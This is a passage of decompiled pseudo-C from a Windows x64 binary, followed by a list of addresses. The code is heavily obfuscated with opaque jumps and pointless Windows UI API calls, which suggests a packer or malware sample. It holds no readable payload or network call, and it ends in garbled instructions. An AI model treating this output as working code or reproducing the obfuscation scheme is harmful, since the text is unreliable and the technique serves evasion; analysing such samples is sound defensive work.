				 *0xed236f60 = 0x0000005f + bpl & 0x000000ff;
				_t132 = E00007FF67FF6ED184484(__rax);
				if (0x5f - 0x73 >= 0) goto 0xed0f533d;
				_t791 = ((_t132 & r15d) - __ebp | r14d) + __ebp - 0x22;
				if (_t791 != 0) goto 0xed0f531b;
				_t137 = E00007FF67FF6ED184484(__rax);
				if (_t791 >= 0) goto 0xed0f5353;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t137 & r15d) - __ebp | r14d) + __ebp - 0x00000045 < 0x00000000;
				_t682 = sil;
				 *0xed236f60 = _t682 & 0x000000ff;
				_t793 = _t682 + bpl - 0xf;
				if (_t793 < 0) goto 0xed0f5364;
				GetWindowTextLengthW(??);
				GetMessageExtraInfo();
				 *0xed236f60 = 5;
				_t146 = E00007FF67FF6ED184484(__rax);
				if (_t793 >= 0) goto 0xed0f53a2;
				if (((_t146 & r15d) - __ebp | r14d) + __ebp - 0x3f < 0) goto 0xed0f53ac;
				_t795 = 5 + bpl - 0xe;
				if (_t795 < 0) goto 0xed0f5385;
				dil = 0x49;
				_t151 = E00007FF67FF6ED184484(__rax);
				if (_t795 >= 0) goto 0xed0f53c2;
				_t796 = ((_t151 & r15d) - __ebp | r14d) + __ebp - 0x1b;
				if (_t796 <= 0) goto 0xed0f53f0;
				 *0xed236f60 = 0x66;
				_t156 = E00007FF67FF6ED184484(__rax);
				if (_t796 >= 0) goto 0xed0f53e2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t156 & r15d) - __ebp | r14d) + __ebp - 0x0000001b > 0x00000000;
				 *0xed236f60 = 0x3f;
				if (0x3f + bpl - 0x46 < 0) goto 0xed0f53b1;
				dil = dil + bpl;
				 *0xed236f60 = __ebp;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x51 < 0) goto 0xed0f53af;
				IsIconic(??);
				IsIconic(??);
				GetDoubleClickTime();
				 *0xed236f60 = 0x1e;
				GetLastActivePopup(??);
				GetMessageTime();
				goto 0xed0f545d;
				if (0x40 - 0x4a >= 0) goto 0xed0f5473;
				 *0xed236f60 = 0x00000040 + bpl & 0x000000ff;
				_t169 = E00007FF67FF6ED184484(__rax);
				if (0x40 - 0x4a >= 0) goto 0xed0f546e;
				_t801 = ((_t169 & r15d) - __ebp | r14d) + __ebp - 0x3b;
				if (_t801 == 0) goto 0xed0f544c;
				_t174 = E00007FF67FF6ED184484(__rax);
				if (_t801 >= 0) goto 0xed0f5484;
				_t802 = ((_t174 & r15d) - __ebp | r14d) + __ebp - 0x26;
				if (_t802 < 0) goto 0xed0f54b0;
				GetModuleHandleW(??);
				_t180 = E00007FF67FF6ED184484(__rax);
				if (_t802 >= 0) goto 0xed0f54a2;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t180 & r15d) - __ebp | r14d) + __ebp - 0x00000026 >= 0x00000000;
				GetCurrentProcessId();
				 *0xed1ee398();
				 *0xed236f60 = 0x20;
				_t804 = 0x20 + bpl - 0x2b;
				if (_t804 < 0) goto 0xed0f54b8;
				GetTopWindow(??);
				 *0xed236f60 = __ebp;
				GetMessageExtraInfo();
				_t190 = E00007FF67FF6ED184484(__rax);
				if (_t804 >= 0) goto 0xed0f54f4;
				_t805 = ((_t190 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				if (_t805 == 0) goto 0xed0f5518;
				_t195 = E00007FF67FF6ED184484(__rax);
				if (_t805 >= 0) goto 0xed0f550a;
				_t806 = ((_t195 & r15d) - __ebp | r14d) + __ebp - 0x3f;
				 *0xed236f60 = __esi & 0xffffff00 | _t806 != 0x00000000;
				 *0xed236f60 = 0x61;
				_t201 = E00007FF67FF6ED184484(__rax);
				if (_t806 >= 0) goto 0xed0f5537;
				if (((_t201 & r15d) - __ebp | r14d) + __ebp - 0x69 > 0) goto 0xed0f5541;
				_t808 = 0x61 + bpl - 0x73;
				if (_t808 < 0) goto 0xed0f551a;
				GetParent(??);
				_t207 = E00007FF67FF6ED184484(__rax);
				if (_t808 >= 0) goto 0xed0f555a;
				_t809 = ((_t207 & r15d) - __ebp | r14d) + __ebp - 0x20;
				if (_t809 >= 0) goto 0xed0f557a;
				_t212 = E00007FF67FF6ED184484(__rax);
				if (_t809 >= 0) goto 0xed0f5570;
				goto 0xed0f55a9;
				_t217 = E00007FF67FF6ED184484(__rax);
				if (((_t212 & r15d) - __ebp | r14d) + __ebp - 0x20 >= 0) goto 0xed0f558b;
				_t811 = ((_t217 & r15d) - __ebp | r14d) + __ebp - 0x48;
				if (_t811 > 0) goto 0xed0f55af;
				_t222 = E00007FF67FF6ED184484(__rax);
				if (_t811 >= 0) goto 0xed0f55a1;
				_t812 = ((_t222 & r15d) - __ebp | r14d) + __ebp - 0x48;
				 *0xed236f60 = __esi & 0xffffff00 | _t812 <= 0x00000000;
				_t227 = E00007FF67FF6ED184484(__rax);
				if (_t812 >= 0) goto 0xed0f55c0;
				if (((_t227 & r15d) - __ebp | r14d) + __ebp - 0x15 <= 0) goto 0xed0f55cf;
				GetTopWindow(??);
				goto 0xed0f55e2;
				 *0xed236f60 = 0x60;
				_t814 = 0x60 + bpl - 0x6b;
				if (_t814 < 0) goto 0xed0f55d1;
				_t234 = E00007FF67FF6ED184484(__rax);
				if (_t814 >= 0) goto 0xed0f55f3;
				 *0xed236f60 = __esi & 0xffffff00 | ((_t234 & r15d) - __ebp | r14d) + __ebp - 0x00000015 > 0x00000000;
				GetTopWindow(??);
				 *0xed236f60 = 2;
				_t816 = 2 + bpl - 0x12;
				if (_t816 < 0) goto 0xed0f5603;
				_t241 = E00007FF67FF6ED184484(__rax);
				if (_t816 >= 0) goto 0xed0f562d;
				_t817 = ((_t241 & r15d) - __ebp | r14d) + __ebp - 4;
				if (_t817 != 0) goto 0xed0f5687;
				_t638 = bpl + bpl;
				 *0xed236f60 = _t638 & 0x000000ff;
				E00007FF67FF6ED184484(__rax);
				if (_t817 >= 0) goto 0xed0f5652;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1143de]");
				if (_t817 <= 0) goto 0xed0f5669;
				_t818 = _t638 - 4;
				if (_t818 < 0) goto 0xed0f5635;
				_t252 = E00007FF67FF6ED184484(__rax);
				if (_t818 >= 0) goto 0xed0f567a;
				_t819 = ((_t252 & r15d) - __ebp | r14d) + __ebp - 4;
				sil = _t819 == 0;
				 *0xed236f60 = __esi;
				E00007FF67FF6ED1844F4(E00007FF67FF6ED1844FC(((_t252 & r15d) - __ebp | r14d) + __ebp));
				_t894 =  *_t882;
				_t886 = _a80;
				_t901 = _a88;
				_t899 = _a96;
				asm("movaps xmm6, [esp+0x20]");
				_t906 = _t905 + 0x30;
				_pop(_t919);
				_pop(_t917);
				_pop(_t896);
				goto 0xed0f7568;
				asm("int3");
				_t883 = _t906;
				 *(_t883 + 0x10) = _t886;
				 *((long long*)(_t883 + 0x18)) = _t901;
				 *((long long*)(_t883 + 0x20)) = _t899;
				 *((long long*)(_t883 + 8)) = __rcx;
				asm("movaps [eax-0x38], xmm6");
				 *0xed236f60 = 1;
				 *0xed236f60 = 1;
				E00007FF67FF6ED184484(_t883);
				r14d = 0x8000007f;
				if (_t819 >= 0) goto 0xed0f5717;
				r15d = 0;
				goto 0xed0f574c;
				if (0x2b - 0x2e >= 0) goto 0xed0f5751;
				GetModuleHandleW(_t919);
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x0000002b + sil & 0x000000ff;
				_t266 = E00007FF67FF6ED184484(_t883);
				if (0x2b - 0x2e >= 0) goto 0xed0f574c;
				if (((_t266 & r14d) - 0x00000001 | 0xffffff80) + 1 == 0x37) goto 0xed0f571c;
				GetMessageExtraInfo();
				AnyPopup();
				GetWindowTextLengthW(_t917);
				 *0xed236f60 = 0x41;
				_t822 = 0x41 + sil - 0x55;
				if (_t822 < 0) goto 0xed0f575f;
				IsZoomed(__r13);
				_t276 = E00007FF67FF6ED184484(_t883);
				if (_t822 >= 0) goto 0xed0f5790;
				_t823 = ((_t276 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				if (_t823 >= 0) goto 0xed0f57bd;
				 *0xed236f60 = r15d;
				_t281 = E00007FF67FF6ED184484(_t883);
				if (_t823 >= 0) goto 0xed0f57ac;
				_t824 = ((_t281 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x66;
				 *0xed236f60 = r15d & 0xffffff00 | _t824 < 0x00000000;
				goto 0xed0f57ca;
				AnyPopup();
				 *0xed236f60 = r15d;
				_t287 = E00007FF67FF6ED184484(_t883);
				if (_t824 >= 0) goto 0xed0f57da;
				if (((_t287 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c <= 0) goto 0xed0f5811;
				 *0xed236f60 = 0x19;
				_t826 = 0x19 + sil - 0x2b;
				if (_t826 < 0) goto 0xed0f57e1;
				_t293 = E00007FF67FF6ED184484(_t883);
				if (_t826 >= 0) goto 0xed0f5802;
				_t827 = ((_t293 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x3c;
				 *0xed236f60 = r15d & 0xffffff00 | _t827 > 0x00000000;
				 *0xed236f60 = 0x5a;
				_t299 = E00007FF67FF6ED184484(_t883);
				if (_t827 >= 0) goto 0xed0f582f;
				if (((_t299 & r14d) - 0x00000001 | 0xffffff80) + 1 - 0x65 >= 0) goto 0xed0f5839;
				_t829 = 0x5a + sil - 0x5b;
				if (_t829 < 0) goto 0xed0f5813;
				 *0xed236f60 = 1;
				 *0xed1ee398();
				GetTickCount();
				 *0xed236f60 = 1;
				_t306 = E00007FF67FF6ED184484(_t883);
				_t645 = r14d;
				if (_t829 >= 0) goto 0xed0f5863;
				_t830 = ((_t306 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				if (_t830 > 0) goto 0xed0f5886;
				_t311 = E00007FF67FF6ED184484(_t883);
				if (_t830 >= 0) goto 0xed0f5877;
				_t831 = ((_t311 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x70;
				 *0xed236f60 = r15d & 0xffffff00 | _t831 <= 0x00000000;
				_t316 = E00007FF67FF6ED184484(_t883);
				if (_t831 >= 0) goto 0xed0f5895;
				r14d = 0x31;
				r15d = _t917 - 0x15;
				_t832 = ((_t316 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x33;
				if (_t832 == 0) goto 0xed0f58c0;
				_t321 = E00007FF67FF6ED184484(_t883);
				if (_t832 >= 0) goto 0xed0f58b3;
				goto 0xed0f59ed;
				_t326 = E00007FF67FF6ED184484(_t883);
				if (((_t321 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x33 >= 0) goto 0xed0f58cf;
				_t834 = ((_t326 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x10;
				if (_t834 <= 0) goto 0xed0f59f3;
				_t331 = E00007FF67FF6ED184484(_t883);
				if (_t834 >= 0) goto 0xed0f58e7;
				_t835 = ((_t331 & _t645) - 0x00000001 | 0xffffff80) + 1 - r14d;
				if (_t835 == 0) goto 0xed0f5916;
				GetLastActivePopup(__r12);
				_t337 = E00007FF67FF6ED184484(_t883);
				if (_t835 >= 0) goto 0xed0f5903;
				_t836 = ((_t337 & _t645) - 0x00000001 | 0xffffff80) + 1 - r14d;
				 *0xed236f60 = 0 | _t836 != 0x00000000;
				goto 0xed0f59d6;
				E00007FF67FF6ED184484(_t883);
				if (_t836 >= 0) goto 0xed0f5925;
				asm("movsd xmm6, [0x1141e3]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t836 > 0) goto 0xed0f59b0;
				_t347 = E00007FF67FF6ED184484(_t883);
				if (_t836 >= 0) goto 0xed0f594a;
				if (((_t347 & _t645) - 0x00000001 | 0xffffff80) + 1 - 0x20 < 0) goto 0xed0f598d;
				goto 0xed0f596a;
				if (0x27 - 0x33 >= 0) goto 0xed0f5981;
				GetTickCount();
				 *0xed236f60 = 0x00000027 + sil & 0x000000ff;
				_t354 = E00007FF67FF6ED184484(_t883);
				if (0x27 - 0x33 >= 0) goto 0xed0f597c;
				_t839 = ((_t354 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - r15d;
				if (_t839 >= 0) goto 0xed0f5953;
				E00007FF67FF6ED184484(_t883);
				goto 0xed0f5998;
				GetCommandLineW();
				_t361 = E00007FF67FF6ED184484(_t883);
				if (_t839 >= 0) goto 0xed0f59a2;
				_t840 = ((_t361 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x20;
				 *0xed236f60 = 0 | _t840 >= 0x00000000;
				E00007FF67FF6ED184484(_t883);
				if (_t840 >= 0) goto 0xed0f59bf;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t840 > 0x00000000;
				_t373 = E00007FF67FF6ED184484(_t883);
				if (_t840 >= 0) goto 0xed0f59e5;
				 *0xed236f60 = 0 | ((_t373 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x00000010 > 0x00000000; // executed
				GetForegroundWindow(); // executed
				GetTopWindow(_t896);
				_t768 =  !=  ? r9d : 0;
				_t777 = r12d - _t768 - 1;
				GetCommandLineW();
				 *0xed236f60 = 0x5d;
				_t843 = 0x5d + dil - 0x6a;
				if (_t843 < 0) goto 0xed0f5a1d;
				GetTopWindow(??);
				_t383 = E00007FF67FF6ED184484(_t883);
				if (_t843 >= 0) goto 0xed0f5a46;
				_t844 = ((_t383 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				if (_t844 >= 0) goto 0xed0f5a6b;
				_t388 = E00007FF67FF6ED184484(_t883);
				if (_t844 >= 0) goto 0xed0f5a5b;
				_t845 = ((_t388 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x79;
				 *0xed236f60 = 0 | _t845 < 0x00000000;
				goto 0xed0f5a7b;
				GetForegroundWindow();
				 *0xed236f60 = 0;
				E00007FF67FF6ED184484(_t883);
				if (_t845 >= 0) goto 0xed0f5a8b;
				asm("movsd xmm6, [0x11416d]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t845 >= 0) goto 0xed0f5ab4;
				 *0xed236f60 = 0x54;
				_t846 = 0x54 + dil - 0x61;
				if (_t846 < 0) goto 0xed0f5aa3;
				E00007FF67FF6ED184484(_t883);
				if (_t846 >= 0) goto 0xed0f5ac4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t846 >= 0x00000000;
				E00007FF67FF6ED184484(_t883);
				if (_t846 >= 0) goto 0xed0f5aeb;
				asm("movsd xmm6, [0x114055]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t846 <= 0) goto 0xed0f5b28;
				E00007FF67FF6ED184484(_t883);
				if (_t846 >= 0) goto 0xed0f5b11;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t846 > 0x00000000;
				 *0xed236f60 = 1;
				GetMessageExtraInfo();
				_t420 = E00007FF67FF6ED184484(_t883);
				if (_t846 >= 0) goto 0xed0f5b44;
				_t847 = ((_t420 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x2b;
				if (_t847 > 0) goto 0xed0f5b67;
				_t425 = E00007FF67FF6ED184484(_t883);
				if (_t847 >= 0) goto 0xed0f5b59;
				 *0xed236f60 = 0 | ((_t425 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 - 0x0000002b <= 0x00000000;
				IsZoomed(??);
				 *0xed1ee398();
				GetMessageExtraInfo();
				GetCurrentProcess();
				GetModuleHandleW(??);
				 *0xed236f60 = 0x44;
				_t849 = 0x44 + dil - 0x53;
				if (_t849 < 0) goto 0xed0f5b83;
				GetTickCount();
				AnyPopup();
				E00007FF67FF6ED184484(_t883);
				if (_t849 >= 0) goto 0xed0f5bbd;
				asm("movsd xmm6, [0x113f23]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t849 < 0) goto 0xed0f5cb4;
				dil = 0x35;
				_t443 = E00007FF67FF6ED184484(_t883);
				if (_t849 >= 0) goto 0xed0f5bea;
				_t850 = ((_t443 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x56;
				if (_t850 == 0) goto 0xed0f5c25;
				 *0xed236f60 = 0x5c;
				_t449 = E00007FF67FF6ED184484(_t883);
				if (_t850 >= 0) goto 0xed0f5c0f;
				if (((_t449 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 != 0x6a) goto 0xed0f5c19;
				if (0x5d - 0x64 < 0) goto 0xed0f5bf1;
				E00007FF67FF6ED184484(_t883);
				goto 0xed0f5c5d;
				_t455 = E00007FF67FF6ED184484(_t883);
				if (0x5d - 0x64 >= 0) goto 0xed0f5c35;
				_t853 = ((_t455 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				if (_t853 != 0) goto 0xed0f5c58;
				_t460 = E00007FF67FF6ED184484(_t883);
				if (_t853 >= 0) goto 0xed0f5c4a;
				_t854 = ((_t460 & 0x8000007f) - 0x00000001 | 0xffffff80) + 1 - 0x12;
				 *0xed236f60 = 0 | _t854 == 0x00000000;
				_t465 = E00007FF67FF6ED184484(_t883);
				if (_t854 >= 0) goto 0xed0f5c68;
				dil = dil + 1;
				 *0xed236f60 = 0 | ((_t465 & 0x8000007f) - 0x00000001 | 0xffffff80) + 0x00000001 != 0x00000056;
				 *0xed236f60 = dil & 0xffffffff;
				_t856 = dil - 0x38;
				if (_t856 < 0) goto 0xed0f5bda;
				E00007FF67FF6ED184484(_t883);
				if (_t856 >= 0) goto 0xed0f5c9d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t856 >= 0x00000000;
				_t59 = _t899 + 1; // 0x1
				r8d = _t59;
				E00007FF67FF6ED0FCE80(_t777, _t886, _a80, _t899);
				r12d = 1;
				if (r12d <= 0) goto 0xed0f5d01;
				E00007FF67FF6ED0FDD00(_t886, _a80,  *((intOrPtr*)(_t894 + _t886 * 8)));
				r8d =  ~_t768;
				E00007FF67FF6ED0FE000(r12d, _t883, _t886, _a80, _t899);
				if (_t886 + r8d - r8d < 0) goto 0xed0f5cd9;
				IsIconic(??);
				r13d = 0x8000007f;
				dil = 0x24;
				E00007FF67FF6ED184484(_t883);
				goto 0xed0f5d42;
				_t859 = dil - 0x2c;
				if (_t859 >= 0) goto 0xed0f5d54;
				dil = dil + r12b;
				 *0xed236f60 = 0;
				 *0xed236f60 = dil & 0xffffffff;
				_t484 = E00007FF67FF6ED184484(_t883);
				if (_t859 >= 0) goto 0xed0f5d4f;
				if (((_t484 & r13d) - r12d | 0xffffff80) + r12d - 0x32 <= 0) goto 0xed0f5d20;
				 *0xed236f60 = 0x18;
				if (0x18 + r12b - 0x21 < 0) goto 0xed0f5d11;
				GetWindowTextLengthW(??);
				GetTopWindow(??);
				GetCurrentProcessId();
				 *0xed236f60 = 0x63;
				_t862 = 0x63 + r12b - 0x65;
				if (_t862 < 0) goto 0xed0f5d7d;
				dil = 0x60;
				E00007FF67FF6ED184484(_t883);
				if (_t862 >= 0) goto 0xed0f5da3;
				asm("movsd xmm6, [0x113d95]");
				goto 0xed0f5dfe;
				if (dil - 0x73 >= 0) goto 0xed0f5e0e;
				goto 0xed0f5dc8;
				if (0x61 - 0x6c >= 0) goto 0xed0f5ddf;
				 *0xed236f60 = 0x00000061 + r12b & 0x000000ff;
				_t500 = E00007FF67FF6ED184484(_t883);
				if (0x61 - 0x6c >= 0) goto 0xed0f5dda;
				_t865 = ((_t500 & r13d) - r12d | 0xffffff80) + r12d - 5;
				if (_t865 <= 0) goto 0xed0f5db7;
				dil = dil + r12b;
				 *0xed236f60 = dil & 0xffffffff;
				E00007FF67FF6ED184484(_t883);
				if (_t865 >= 0) goto 0xed0f5dfe;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t865 != 0) goto 0xed0f5dad;
				if (_t865 != 0) goto 0xed0f5dad;
				r14b = r14b + r12b;
				 *0xed236f60 = r14b & 0xffffffff;
				if (r14b - 0x3f < 0) goto 0xed0f5e0e;
				 *0xed236f60 = 0x1d;
				goto 0xed0f5e48;
				_t867 = r15b - 0x2e;
				if (_t867 >= 0) goto 0xed0f5e5f;
				GetTopWindow(??);
				r15b = r15b + r12b;
				 *0xed236f60 = r15b & 0xffffffff;
				_t514 = E00007FF67FF6ED184484(_t883);
				if (_t867 >= 0) goto 0xed0f5e5a;
				_t868 = ((_t514 & r13d) - r12d | 0xffffff80) + r12d - 0x35;
				if (_t868 != 0) goto 0xed0f5e2d;
				asm("movsd xmm6, [0x113b91]");
				E00007FF67FF6ED184484(_t883);
				if (_t868 >= 0) goto 0xed0f5e7b;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t868 >= 0) goto 0xed0f5ec6;
				_t524 = E00007FF67FF6ED184484(_t883);
				if (_t868 >= 0) goto 0xed0f5e9b;
				_t869 = ((_t524 & r13d) - r12d | 0xffffff80) + r12d - 8;
				if (_t869 != 0) goto 0xed0f5ec6;
				 *0xed1ee398();
				_t530 = E00007FF67FF6ED184484(_t883);
				if (_t869 >= 0) goto 0xed0f5eb8;
				_t870 = ((_t530 & r13d) - r12d | 0xffffff80) + r12d - 8;
				 *0xed236f60 = 0 | _t870 == 0x00000000;
				E00007FF67FF6ED184484(_t883);
				if (_t870 >= 0) goto 0xed0f5ed8;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t870 >= 0x00000000;
				 *0xed236f60 = 2;
				_t871 = 2 + r12b - 9;
				if (_t871 < 0) goto 0xed0f5e69;
				 *0xed236f60 = r12d;
				GetCommandLineW();
				asm("movaps xmm6, [esp+0x20]");
				_pop(_t920);
				_pop(_t918);
				_pop(_t916);
				_pop(_t913);
				_pop(_t898);
				goto E00007FF67FF6ED0FE2B0;
				asm("int3");
				asm("int3");
				_t884 = _t906 - 0x30 + 0x30;
				 *((long long*)(_t884 + 8)) = _a88;
				 *((long long*)(_t884 + 0x10)) = _a96;
				 *((long long*)(_t884 + 0x18)) = _a104;
				asm("movaps [eax-0x38], xmm6");
				r14d = r8d;
				E00007FF67FF6ED184484(_t884);
				r13d = 0x8000007f;
				r15d = 1;
				r12d = 0xffffff80;
				if (_t871 >= 0) goto 0xed0f5f95;
				asm("movsd xmm6, [0x113b2b]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t871 < 0) goto 0xed0f5fdd;
				 *0xed1ee3f0(_t920, _t918, _t916, _t913, _t898);
				E00007FF67FF6ED184484(_t884);
				if (_t871 >= 0) goto 0xed0f5fc4;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t871 >= 0x00000000;
				goto 0xed0f601c;
				_t557 = E00007FF67FF6ED184484(_t884);
				if (_t871 >= 0) goto 0xed0f5ff0;
				_t872 = ((_t557 & r13d) - r15d | r12d) + r15d - 0x57;
				if (_t872 != 0) goto 0xed0f5ffb;
				E00007FF67FF6ED1EE020();
				_t562 = E00007FF67FF6ED184484(_t884);
				if (_t872 >= 0) goto 0xed0f600e;
				_t873 = ((_t562 & r13d) - r15d | r12d) + r15d - 0x57;
				 *0xed236f60 = 0 | _t873 == 0x00000000;
				 *0xed236f60 = r15d;
				_t567 = E00007FF67FF6ED184484(_t884);
				if (_t873 >= 0) goto 0xed0f6036;
				_t874 = ((_t567 & r13d) - r15d | r12d) + r15d - 0x29;
				if (_t874 <= 0) goto 0xed0f60c2;
				E00007FF67FF6ED184484(_t884);
				if (_t874 >= 0) goto 0xed0f6052;
				asm("movsd xmm6, [0x1139c6]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t874 < 0) goto 0xed0f606e;
				E00007FF67FF6ED1EE020();
				E00007FF67FF6ED184484(_t884);
				if (_t874 >= 0) goto 0xed0f6081;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xed236f60 = 0 | _t874 >= 0x00000000;
				 *0xed236f60 = r15d;
				_t584 = E00007FF67FF6ED184484(_t884);
				if (_t874 >= 0) goto 0xed0f60b2;
				 *0xed236f60 = 0 | ((_t584 & r13d) - r15d | r12d) + r15d - 0x00000029 > 0x00000000;
				goto 0xed0f60cc;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed1ee008();
				 *0xed236f60 = 0x26;
				if (0x26 + r15b - 0x35 < 0) goto 0xed0f60db;
				E00007FF67FF6ED1EE028();
				 *0xed236f60 = 0x2e;
				_t877 = 0x2e + r15b - 0x30;
				if (_t877 < 0) goto 0xed0f60ee;
				 *0xed1ee398();
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t884);
				if (_t877 >= 0) goto 0xed0f6127;
				asm("movsd xmm6, [0x1138b1]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t877 != 0) goto 0xed0f613f;
				if (_t877 == 0) goto 0xed0f6174;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x34;
				_t599 = E00007FF67FF6ED184484(_t884);
				if (_t877 >= 0) goto 0xed0f616a;
				if (((_t599 & r13d) - r15d | r12d) + r15d - 0x3b < 0) goto 0xed0f6174;
				_t879 = 0x34 + r15b - 0x41;
				if (_t879 < 0) goto 0xed0f6141;
				E00007FF67FF6ED184484(_t884);
				if (_t879 >= 0) goto 0xed0f6187;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t879 != 0) goto 0xed0f619c;
				if (_t879 != 0) goto 0xed0f619c;
				goto 0xed0f619e;
				 *0xed236f60 = 0;
				 *0xed1ee3c8();
				 *0xed1ee3d0();
				 *0xed1ee398();
				goto 0xed0f61d4;
				asm("sti");
				_push(0x73);
				asm("fild word [ecx+ecx*4+0x3d]");
				return _t777 | 0xb60f0014;
			}

0x7ff6ed0f5191
0x7ff6ed0f51a0
0x7ff6ed0f51a6
0x7ff6ed0f51b0
0x7ff6ed0f51b9
0x7ff6ed0f51bb
0x7ff6ed0f51c1
0x7ff6ed0f51c7
0x7ff6ed0f51cd
0x7ff6ed0f51d3
0x7ff6ed0f51d6
0x7ff6ed0f51d8
0x7ff6ed0f51df
0x7ff6ed0f51e5
0x7ff6ed0f51ed
0x7ff6ed0f51f6
0x7ff6ed0f51fa
0x7ff6ed0f51fe
0x7ff6ed0f5202
0x7ff6ed0f5204
0x7ff6ed0f520a
0x7ff6ed0f5214
0x7ff6ed0f5222
0x7ff6ed0f5228
0x7ff6ed0f522b
0x7ff6ed0f522d
0x7ff6ed0f5233
0x7ff6ed0f523b
0x7ff6ed0f5244
0x7ff6ed0f5247
0x7ff6ed0f5249
0x7ff6ed0f5251
0x7ff6ed0f5262
0x7ff6ed0f5270
0x7ff6ed0f5276
0x7ff6ed0f5279
0x7ff6ed0f527b
0x7ff6ed0f5287
0x7ff6ed0f528f
0x7ff6ed0f5298
0x7ff6ed0f52a0
0x7ff6ed0f52b7
0x7ff6ed0f52bd
0x7ff6ed0f52c6
0x7ff6ed0f52c8
0x7ff6ed0f52ce
0x7ff6ed0f52d6
0x7ff6ed0f52e2
0x7ff6ed0f52e8
0x7ff6ed0f52eb
0x7ff6ed0f52ef
0x7ff6ed0f52f5
0x7ff6ed0f52fb
0x7ff6ed0f5301
0x7ff6ed0f5309
0x7ff6ed0f5315
0x7ff6ed0f5319
0x7ff6ed0f531e
0x7ff6ed0f5326
0x7ff6ed0f532c
0x7ff6ed0f5334
0x7ff6ed0f533d
0x7ff6ed0f5340
0x7ff6ed0f5342
0x7ff6ed0f534a
0x7ff6ed0f535b
0x7ff6ed0f5361
0x7ff6ed0f536a
0x7ff6ed0f5370
0x7ff6ed0f5373
0x7ff6ed0f5377
0x7ff6ed0f537d
0x7ff6ed0f538b
0x7ff6ed0f5391
0x7ff6ed0f5399
0x7ff6ed0f53a5
0x7ff6ed0f53a7
0x7ff6ed0f53aa
0x7ff6ed0f53ac
0x7ff6ed0f53b1
0x7ff6ed0f53b9
0x7ff6ed0f53c2
0x7ff6ed0f53c5
0x7ff6ed0f53c7
0x7ff6ed0f53d1
0x7ff6ed0f53d9
0x7ff6ed0f53ea
0x7ff6ed0f53f6
0x7ff6ed0f53ff
0x7ff6ed0f5405
0x7ff6ed0f5408
0x7ff6ed0f540e
0x7ff6ed0f5418
0x7ff6ed0f541c
0x7ff6ed0f5424
0x7ff6ed0f542a
0x7ff6ed0f5432
0x7ff6ed0f543c
0x7ff6ed0f5442
0x7ff6ed0f544a
0x7ff6ed0f544f
0x7ff6ed0f5457
0x7ff6ed0f545d
0x7ff6ed0f5465
0x7ff6ed0f546e
0x7ff6ed0f5471
0x7ff6ed0f5473
0x7ff6ed0f547b
0x7ff6ed0f5484
0x7ff6ed0f5487
0x7ff6ed0f548b
0x7ff6ed0f5491
0x7ff6ed0f5499
0x7ff6ed0f54aa
0x7ff6ed0f54b0
0x7ff6ed0f54b8
